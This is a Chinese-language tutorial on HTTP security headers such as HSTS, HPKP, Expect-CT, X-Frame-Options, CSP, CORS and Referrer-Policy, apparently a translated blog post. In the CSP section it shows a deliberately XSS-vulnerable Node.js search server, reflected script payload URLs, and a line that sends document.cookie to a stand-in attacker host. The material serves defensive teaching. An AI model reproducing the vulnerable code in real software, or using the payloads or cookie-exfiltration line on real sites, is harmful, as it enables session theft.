使用这些 HTTP 头保护 Web 应用

摘要: 安全是个大学问。

目前,浏览器已经实现了大量与安全相关的头文件,使攻击者更难利用漏洞。接下来的讲解它们的使用方式、它们防止的攻击类型以及每个头后面的一些历史。

HTTP Strict Transport Security (HSTS)

HSTS(HTTP Strict Transport Security)国际互联网工程组织IETF正在推行一种新的Web安全协议,HSTS 的作用是强制客户端(如浏览器)使用 HTTPS 与服务器创建连接。

自 2012 年底以来,HTTPS 无处不在的支持者发现,由于 HTTP 严格传输安全性,强制客户端总是使用 HTTP 协议的安全版本更容易:一个非常简单的设置 Strict-Transport-Security: max-age=3600 将告诉浏览器 对于下一个小时(3600秒),它不应该与具有不安全协议的应用程序进行交互。

当用户尝试通过 HTTP 访问由 HSTS 保护的应用程序时,浏览器将拒绝继续访问,自动将 http:// 的 URL 转换为 https://

你可以使用 github.com/odino/wasec/tree/master/hsts 中的代码在本地测试这个。你需要遵循 README 中的说明(它们通过 mkcert 工具在你的电脑上的localhost 安装可信的 SSL 证书),然后尝试打开 https://localhost:7889

在这个示例中有两个服务器,一个 HTTPS 服务器监听 7889,另一个 HTTP 服务器监听端口 7888。当你访问 HTTPS 服务器时,它总是试图重定向到 HTTP 版本,这将正常工作,因为 HTTPS 服务器上没有 HSTS 策略。如果在 URL 中添加 hsts=on 参数,浏览器将强制将重定向中的链接转换为 https:// 版本。由于 7888 上的服务器只支持 http,所以最终将看到类似于这样的页面。

你可能想知道用户第一次访问你的网站时会发生什么,因为事先没有定义 HSTS 策略:攻击者可能会欺骗用户访问你网站的 http:// 版本并在那里进行攻击,所以仍然存在问题,因为 HSTS 是对首次使用机制的信任,它试图做的是确保,一旦你访问过网站,浏览器就知道后续交互必须使用 HTTPS

解决这个缺点的一个方法是维护一个海量的数据库,其中包含了执行 HSTS 的网站,这是Chrome 通过 hstspreload.org 实现的。你必须首先设置安全的方案,然后访问网站并检查它是否符合添加到数据库的条件。例如,我们可以在这看到 Facebook 榜上有名。

将你的的网站提交到这个列表中,就可以提前告诉浏览器你的网站使用 HSTS,这样即使客户端和服务器之间的第一次交互也将通过一个安全通道进行。但是这是有代价的,因为你确实需要投入到 HSTS 中。如果你希望你的网站从列表中删除,这对浏览器厂商来说不是件容易的事:

请注意,预加载列表中的内容无法轻松撤消。

域名可以被移除,但是 Chrome 的更新需要几个月的时间才能让用户看到变化,我们不能保证其他浏览器也一样。不要请求包含,除非您确定能够长期支持整个站点及其所有子域的HTTPS。

这是因为供应商不能保证所有用户都使用最新版本的浏览器,而你的站点已从列表中删除。仔细考虑,并根据你对 HSTS 的信心程度和长期支持 HSTS 的能力做出决定。

HTTP Public Key Pinning (HPKP)

HTTP 公钥固定是一种安全机制,它的工作原理是通过响应头或者 <meta> 标签告诉浏览器当前网站的证书指纹,以及过期时间等其它信息。未来一段时间内,浏览器再次访问这个网站必须验证证书链中的证书指纹,如果跟之前指定的值不匹配,即便证书本身是合法的,也必须断开连接。

目前 Firefox 35+ 和 Chrome 38+ 已经支持, HPKP 基本格式如下:

Public-Key-Pins:
  pin-sha256="9yw7rfw9f4hu9eho4fhh4uifh4ifhiu=";
  pin-sha256="cwi87y89f4fh4fihi9fhi4hvhuh3du3=";
  max-age=3600; includeSubDomains;
  report-uri="https://pkpviolations.example.org/collect"

各字段含义如下:

  • pin-sha256 即证书指纹,允许出现多次(实际上最少应该指定两个);
  • max-age 和 includeSubdomains 分别是过期时间和是否包含子域,它们在 HSTS(HTTP Strict Transport Security)中也有,格式和含义一致;
  • report-uri用来指定验证失败时的上报地址,格式和含义跟 CSP(Content Security Policy)中的同名字段一致;
  • includeSubdomains 和 report-uri 两个参数均为可选;

报头使用证书的散列列出服务器将使用哪些证书(在本例中是其中的两个证书),并包含附加信息,比如这个指令的生存时间(max-age=3600)和其他一些细节。遗憾的是,我们没有必要深入了解我们可以用公钥钉固定做什么,因为这个功能已经被 Chrome 弃用了——这是一个信号,这一信号表明它的采用很快就会直线下降。

Chrome 的决定并不是不理性的,而仅仅是与公钥固定相关的风险的结果。如果wq丢失了证书,或者只是在测试时犯了一个错误,你的网站将无法访问之前访问过该网站的用户(在max-age指令期间,通常是几周或几个月)。

由于这些潜在的灾难性后果,HPKP 的使用率一直非常低,并且出现了由于错误配置导致大型网站无法访问的事件。综上所述,Chrome 认为没有 HPKP提 供的保护,用户会过得更好——安全研究人员并不完全反对这一决定。

Expect-CT

虽然 HPKP 已经被弃用,但是一个新的头介入进来,防止欺骗 SSL 证书被提供给客户端:Expect-CT

Expect-CT 头允许站点选择性报告和/或执行证书透明度 (Certificate Transparency) 要求,来防止错误签发的网站证书的使用不被察觉。当站点启用 Expect-CT 头,就是在请求浏览器检查该网站的任何证书是否出现在公共证书透明度日志之中。

CT 基本格式如下:

Expect-CT: max-age=3600, enforce, report-uri="https://ct.example.com/report"

max-age

该指令指定接收到 Expect-CT 头后的秒数,在此期间用户代理应将收到消息的主机视为已知的 Expect-CT 主机。

如果缓存接收到的值大于它可以表示的值,或者如果其随后计算溢出,则缓存将认为该值为2147483648(2的31次幂)或其可以方便表示的最大正整数。

report-uri="" 可选

该指令指定用户代理应向其报告 Expect-CT 失效的 URI。

当 enforce 指令和 report-uri 指令共同存在时,这种配置被称为“强制执行和报告”配置,示意用户代理既应该强制遵守证书透明度政策,也应当报告违规行为。

enforce 可选

该指令示意用户代理应强制遵守证书透明度政策(而不是只报告合规性),并且用户代理应拒绝违反证书透明度政策的之后连接。

enforce 指令和 report-uri 指令共同存在时,这种配置被称为“强制执行和报告”配置,示意用户代理既应该强制遵守证书透明度政策,也应当报告违规行为。

CT 计划的目标是比以前使用的任何其他方法更早、更快、更精确地检测错误颁发的或恶意的证书(以及流氓证书颁发机构)。

通过选择使用 Expect-CT 头,你可以利用这一优势来改进应用程序的安全状态。

X-Frame-Options

想象一下,在你的屏幕前弹出这样一个网页:

只要你点击这个链接,你就会发现你银行账户里的钱都不见了,发生了什么事?

你是点击劫持攻击的受害者。

攻击者将你引导至他们的网站,该网站显示了一个非常有吸引力的点击链接。 不幸的是,他还在页面中嵌入了带了链接地址 your-bank.com/transfer?amount=-1&[attacker@gmail.com的 iframe,且通过设置透明度为 0%来隐藏它。

然后发生的事情是想到点击原始页面,试图赢得一个全新的悍马,这时浏览器上iframe上捕获了一个点击,这是一个确认转移资金的危险点击。

大多数银行系统要求你指定一次性 PIN 码来确认交易,但你的银行没有赶上时间且你的所有资金都已被转走了。

这个例子非常极端,但应该让你了解点击劫持攻击 可能带来的后果。 用户打算单击特定链接,而浏览器将触发嵌入 iframe中“不可见”页面上的点击。

幸运的是,浏览器为这个问题提供了一个简单的解决方案: X-Frame-Options (XFO),它允许您人定是否可以将应用程序作为 iframe 嵌入外部网站。由于 Internet Explorer 8 的普及,XFO 于2009 年首次引入,现在仍然受到所有主流浏览器的支持。

它的工作原理是,当浏览器看到 iframe 时,加载它并在渲染它之前验证它的 XFO 是否允许它包含在当前页面中。

X-Frame-Options 有三个值:

  • DENY:表示该页面不允许在 frame 中展示,即便是在相同域名的页面中嵌套也不允许。
  • SAMEORIGIN:表示该页面可以在相同域名页面的 frame 中展示。
  • ALLOW-FROM uri :表示该页面可以在指定来源的 frame 中展示。

换一句话说,如果设置为 DENY,不光在别人的网站 frame 嵌入时会无法加载,在同域名页面中同样会无法加载。另一方面,如果设置为 SAMEORIGIN,那么页面就可以在同域名页面的 frame 中嵌套。

包含最严格的 XFO 策略的 HTTP 响应示例如下:

HTTP/1.1 200 OK
Content-Type: application/json
X-Frame-Options: DENY
...

为了展示启用 XFO 时浏览器的行为,我们只需将示例的 URL 更改为 http://localhost:7888/?xfo=onxfo=on 参数告诉服务器在响应中包含 X-Frame-Options: deny,我们可以看到浏览器如何限制对 iframe 的访问:

XFO被认为是防止基于框架的点击劫持攻击的最佳方法,直到数年后出现了另一种报头,即内容安全策略(Content Security Policy,简称CSP)

Content Security Policy (CSP)

内容安全策略(CSP) 是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本 (XSS) 和数据注入攻击等。无论是数据盗取、网站内容污染还是散发恶意软件,这些攻击都是主要的手段。

为使CSP可用, 你需要配置你的网络服务器返回 Content-Security-Policy HTTP头部 ( 有时你会看到一些关于 X-Content-Security-Policy 头部的提法, 那是旧版本,你无须再如此指定它)。

要了解 CSP 如何帮助我们,我们首先应该考虑攻击媒介。 假设我们刚刚构建了自己的 Google 搜索,这是一个带有提交按钮的简单输入文本。

这个 web 应用程序没有什么神奇的功能。只是,

  • 显示一个表单
  • 让用户执行搜索
  • 显示搜索结果和用户搜索的关键字

当我们执行简单搜索时,这就是应用程序返回的内容:

我们的应用程序非常理解我们的搜索,并找到了一个相关的图像。如果我们深入研究源代码,可以在github.com/odino/wasec/tree/master/xss.com 上找到,我们很快就会发现应用程序存在安全问题,因为用户搜索的任何关键字都直接打印在提供给客户端的 HTML 响应中:

var qs = require('querystring')
var url = require('url')
var fs = require('fs')
require('http').createServer((req, res) => {
  let query = qs.parse(url.parse(req.url).query)
  let keyword = query.search || ''
  let results = keyword ? `You searched for "${keyword}", we found:</br><img src="http://placekitten.com/200/300" />` : `Try searching...`
res.end(fs.readFileSync(__dirname + '/index.html').toString().replace('__KEYWORD__', keyword).replace('__RESULTS__', results))
}).listen(7888)
<html>
  <body>
    <h1>Search The Web</h1>
    <form>
      <input type="text" name="search" value="__KEYWORD__" />
      <input type="submit" />
    </form>
    <div id="results">
      __RESULTS__
    </div>
  </body>
</html>

这带来了一个糟糕的后果。攻击者可以创建一个特定的链接,在受害者浏览器中执行任意JavaScript。

如果你有时间和耐心在本地运行示例,你将能够快速了解 CSP 的强大功能。 我添加了一个启用CSP的查询字符串参数,因此我们可以尝试在启用 CSP 的情况下导航到恶意 URL:

http://localhost:7888/?search=%3Cscript+type%3D%22text%2Fjavascript%22%3Ealert%28%27You%20have%20been%20PWNED%27%29%3C%2Fscript%3E&csp=on

正如你在上面的例子中所看到的,我们已经告诉浏览器,我们的 CSP 策略只允许脚本包含在当前 URL 的同一来源,我们可以通过展开 URL 和查看响应头来验证:

$ curl -I "http://localhost:7888/?search=%3Cscript+type%3D%22text%2Fjavascript%22%3Ealert%28%27You%20have%20been%20PWNED%27%29%3C%2Fscript%3E&csp=on"

HTTP/1.1 200 OK
X-XSS-Protection: 0
Content-Security-Policy: default-src 'self'
Date: Sat, 11 Aug 2018 10:46:27 GMT
Connection: keep-alive

由于 XSS 攻击是通过内联脚本(直接嵌入到HTML内容中的脚本)进行的,所以浏览器友好地拒绝执行它,以保证用户的安全。想象一下,如果攻击者不是简单地显示一个警告对话框,而是通过一些JavaScript代码将重定向到自己的域,代码可能如下:

window.location = `attacker.com/${document.cookie}`

他们本来可以窃取所有用户的 cookie,其中可能包含高度敏感的数据(下一篇文章中有更多内容)。

CSP的一个有趣的变化是 report-only 模式。可以不使用 Content-Security-Policy 头文件,而是首先使用 Content-Security-Policy-Report-Only 头文件测试 CSP 对你的网站的影响,方法是告诉浏览器简单地报告错误,而不阻塞脚本执行,等等。

通过报告,你可以了解要推出的 CSP 策略可能导致的重大更改,并相应地进行修复。 我们甚至可以指定报告网址,浏览器会向我们发送报告。 以下是 report-only 策略的完整示例:

Content-Security-Policy: default-src 'self'; report-uri http://cspviolations.example.com/collector

CSP 策略本身可能有点复杂,如下例所示:

Content-Security-Policy: default-src 'self'; script-src scripts.example.com; img-src *; media-src medias.example.com medias.legacy.example.com

本策略定义了以下规则:

  • 可执行脚本(例如JavaScript)只能从 scripts.example.com 加载
  • 图像可以从任何源(img-src: *)
  • 视频或音频内容可以从两个来源加载: medias.example.commedias.legacy.example.com

正如你所看到的,策略可能会变得很长,如果我们想确保为用户提供最高的保护,这可能会成为一个相当乏味的过程。不过,编写全面的 CSP 策略是向 web 应用程序添加额外安全层的重要一步。

代码部署后可能存在的BUG没法实时知道,事后为了解决这些BUG,花了大量的时间进行log 调试,这边顺便给大家推荐一个好用的BUG监控工具 Fundebug

X-XSS-Protection

HTTP X-XSS-Protection 响应头是Internet Explorer,Chrome和Safari的一个功能,当检测到跨站脚本攻击 (XSS)时,浏览器将停止加载页面。虽然这些保护在现代浏览器中基本上是不必要的,当网站实施一个强大的 Content-Security-Policy 来禁用内联的 JavaScript ('unsafe-inline')时, 他们仍然可以为尚不支持 CSP 的旧版浏览器的用户提供保护。

它的语法和我们刚才看到的非常相似:

X-XSS-Protection: 1; report=http://xssviolations.example.com/collector

XSS 是最常见的攻击类型,其中未经过验证的服务器打印出未经过处理的输入,而且这个标题真正发挥作用。 如果你想亲眼看到这个,我建议你试试 github.com/odino/wasec/tree/master/xss 上的例子。

xss=on 附加到 URL 上,它显示了当 XSS 保护时浏览器做了什么 打开了。 如果我们在搜索框中输入恶意字符串,例如 <script> alert('hello')</ script>,浏览器将拒绝执行脚本,并解释其决定背后的原因:

The XSS Auditor refused to execute a script in
'http://localhost:7888/?search=%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E&xss=on'
because its source code was found within the request.
The server sent an 'X-XSS-Protection' header requesting this behavior.

更有趣的是,当网页没有指定任何 CSP 或 XSS 策略时,Chrome 的默认行为,我们可以通过将 XSS =off 参数添加到URL (http://localhost:7888/?search=%3Cscript%3Ealert%28% %27hello%27% %29%3C%2Fscript%3E&xss=off) 来测试这个场景:

令人惊讶的是,Chrome 非常谨慎,它将阻止页面渲染,使得 XSS 的攻击非常难以实现。

Feature policy

2018 年 7 月,安全研究员 Scott Helme 发表了一篇非常有趣的博客文章,详细介绍了正在开发的一个新的安全标头: Feature-Policy

目前只有很少的浏览器(在撰写本文时是Chrome和Safari)支持这个标头,它允许我们定义当前页面中是否启用了特定的浏览器功能。使用与 CSP 非常相似的语法,比如下面这个:

Feature-Policy: vibrate 'self'; push *; camera 'none'

如果我们对此策略如何影响页面可用的浏览器 API 仍有疑问,我们可以简单地剖析它:

  • vibrate 'self':这将允许当前页面使用vibration API 和同一源上的任何嵌套浏览上下文(iframe)
  • push *:当前页面和任何 iframe 都可以使用 push notification API
  • camera 'none':当前页面和任何嵌套上下文(iframe)都拒绝访问 camera API

feature policy 的历史可能很短,但是抢先一步也无妨。例如,如果你的网站允许用户自拍或录制音频,那么使用限制其他上下文通过你的页面访问 API 的策略将非常有益。

X-Content-Type-Options

有时候,从安全的角度来看,聪明的浏览器功能最终会伤害我们。 一个明显的例子是 MIME嗅探(MIME-sniffing),这是一种由 Internet Explorer 推广的技术。

MIME 嗅探是浏览器自动检测(和修复)正在下载的资源的内容类型的能力。 例如,我们要求浏览器渲染图片 /awesome-picture.png ,但服务器在向浏览器提供图像时设置了错误的类型(例如,Content-Type:text/plain),这通常会导致浏览器无法正确显示图像。

为了解决这个问题,IE 竭尽全力实现 MIME 嗅探功能:当下载资源时,浏览器会“扫描”它,如果它会检测到资源的内容类型不是由在 Content-Type 标头中的服务器,它将忽略服务器发送的类型并根据浏览器检测到的类型解释资源。

现在,想象一下,托管一个网站,允许用户上传自己的图像,并想象用户上传包含 JavaScript 代码的 /test.jpg 文件。 看看这是怎么回事? 上传文件后,该网站会将其包含在自己的 HTML 中,当浏览器尝试渲染文档时,它会找到用户刚刚上传的“图像”。 当浏览器下载图像时,它会检测到它是一个脚本,并在受害者的浏览器上执行它。

为了避免这个问题,我们可以设置 X-Content-Type-Options:nosniheader,它完全禁用 MIME 嗅探:通过这样做,我们告诉浏览器,我们完全知道某些文件可能在类型和内容方面不匹配,浏览器不应该担心这个问题。我们知道我们在做什么,所以浏览器不应该试图猜测,可能对我们的用户构成安全威胁。

Cross-Origin Resource Sharing (CORS)

在浏览器上,通过 JavaScript,HTTP 请求只能在同一个源上触发。 简而言之,example.com 的AJAX 请求只能连接到 example.com

这是因为你的浏览器包含攻击者的有用信息 - Cookie,通常用于跟踪用户的会话。 想象一下,如果攻击者在 win-a-hummer.com 上设置恶意页面,会立即向 your-bank.com 发出 AJAX 请求。

如果你在银行的网站上登录,则攻击者可以使用你的凭据执行 HTTP 请求,可能会窃取信息,或者更糟糕的是,将你的银行帐户清除掉。

不过,在某些情况下可能需要执行跨域 AJAX 请求,这就是浏览器实现跨跨资源共享(Cross Origin Resource Sharing, CORS)的原因,这是一组允许执行跨域请求的指令。

CORS 背后的机制非常复杂,我们不可能通读整个规范,所以我将重点介绍 CORS 的“简化”版本。

现在,你只需要知道,通过使用 Access-Control-Allow-Origin 头,应用程序告诉浏览器可以接收来自其他域的请求。

这个宽松的形式设置 Access-Control-Allow-Origin: *,它允许任何域访问我们的应用程序,但是我们可以通过使用 Access-Control-Allow-Origin: https://example.com 添加我们想要列入白名单的 URL 来限制它。

如果我们看看 github.com/odino/wasec/tree/master/cors 上的示例,我们可以清楚地看到浏览器如何阻止访问单独来源的资源。 我已经设置了一个示例,用于从 test-corstest-cors-2 发出 AJAX 请求,并将操作结果打印到浏览器。 当 test-cors-2 后面的服务器被指示使用 CORS 时,页面按预期工作。 尝试导航到 http://cors-test:7888/?cors=on

但是当我们从 UR L中删除 cors 参数时,浏览器会介入并阻止我们访问响应的内容:

我们需要理解的一个重要方面是浏览器执行了请求,但阻止了客户端访问它。 这非常重要,因为如果我们的请求会对服务器产生任何副作用,它仍然会使我们容易受到攻击。 想象一下,例如,如果我们的银行允许通过简单地调用 my-bank.com/transfer?amount=1000&from=me&to=attacker 来转移资金,那将是一场灾难!

正如我们在本系列第一篇讲到,GET 请求应该是幂等的,但如果我们尝试用 POST 请求会发生什么? 幸运的是,在示例中包含了这个场景,通过导航到 http://cors-test:7888/?method=POST:来尝试:

浏览器发出“预检”请求,而不是直接执行我们的 POST 请求,这可能会导致服务器出现严重问题。 这只是对服务器的 OPTIONS 请求,要求它验证我们的来源是否被允许。 在这种情况下,服务器没有正面响应,因此浏览器停止进程,我们的 POST 请求永远不会到达目标。

这告诉我们一些事情:

  • CORS 不是一个简单的规范,很多场景需要牢记,你可以很容易地混淆预检请求等功能的细微差别。
  • 永远不要暴露通过 GET 改变状态的 API。 攻击者可以在没有预检请求的情况下触发这些请求,这意味着根本没有保护。

根据经验,我发现自己更愿意设置代理,以便将请求转发到正确的服务器,而不是使用 CORS。这意味着运行在 example.com 上的应用程序可以在 example.com/_proxy/other.com 设置一个代理,这样所有位于 _proxy/other.com/*下的请求都可以代理到 other.com

X-Permitted-Cross-Domain-Policies

与 CORS 非常相似的是,X-Permitted-Cross-Domain-Policies 针对 Adobe 产品(即Flash和Acrobat)的跨域策略。

我不会详细介绍,因为这是一个针对非常特定用例的标头。长话短说,Adobe 产品通过请求目标域根目录中的 cross-domain.xml 文件处理跨域请求,并且 X-Permitted-Cross-Domain-Policies 定义了访问该文件的策略。

听起来复杂吗?我只建议添加一个 X-Permitted-Cross-Domain-Policies: none 并忽略希望使用 Flash 跨域请求的客户端。

Referrer-Policy

在我们职业生涯的开始,我们可能都犯了同样的错误。使用 Referer 头在我们的网站上实现安全限制。如果头部在我们定义的白名单中包含一个特定的 URL,我们将允许用户访问。

Referrer-Policy 头文件诞生于 2017 年初,目前受到所有主流浏览器的支持,它可以告诉浏览器,它应该只屏蔽 Referer头文件中的URL,或者完全省 略URL,从而缓解这些隐私问题。

Referrer-Policy 一些最常见的值是:

  • no-referrer:整个 Referer 首部会被移除。访问来源信息不随着请求一起发送。
  • origin:在任何情况下,仅发送文件的源作为引用地址。例如 https://example.com/page.html> 会将 作为引用地址。
  • same-origin:对于同源的请求会发送引用地址,但是对于非同源请求则不发送引用地址信息。

值得注意的是,Referrer-Policy 有很多变体(trict-originno-referrer-when-downgrade等等),但是我上面提到的这些变体可能会涵盖你的大多数用例。如果你希望更好地理解你可以使用的每一个变体,可以访问 OWASP dedicated page 了解。

Origin 标头与 Referer 非常相似,因为它是由浏览器在跨域请求中发送的,以确保允许调用者访问不同域上的资源。 Origin 标头由浏览器控制,因此恶意用户无法篡改它。 你可能会将其用作Web应用程序的防火墙:如果 Origin 位于我们的白名单中,请让请求通过。

但有一点需要考虑的是,其他 HTTP 客户端(如c URL)可以呈现自己的来源:简单的 curl -H "Origin: example.com" api.example.com 将使所有基于源的防火墙规则效率低下...... ...... 这就是为什么你不能依靠 Origin(或者我们刚才看到的 Referer)来构建防火墙来阻止恶意客户端。

有状态 HTTP:使用 cookie 管理会话

本文应该向我们介绍一些有趣的 HTTP 标头,让我们了解它们如何通过特定于协议的功能强化我们的Web 应用程序,以及主流浏览器的一些帮助。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值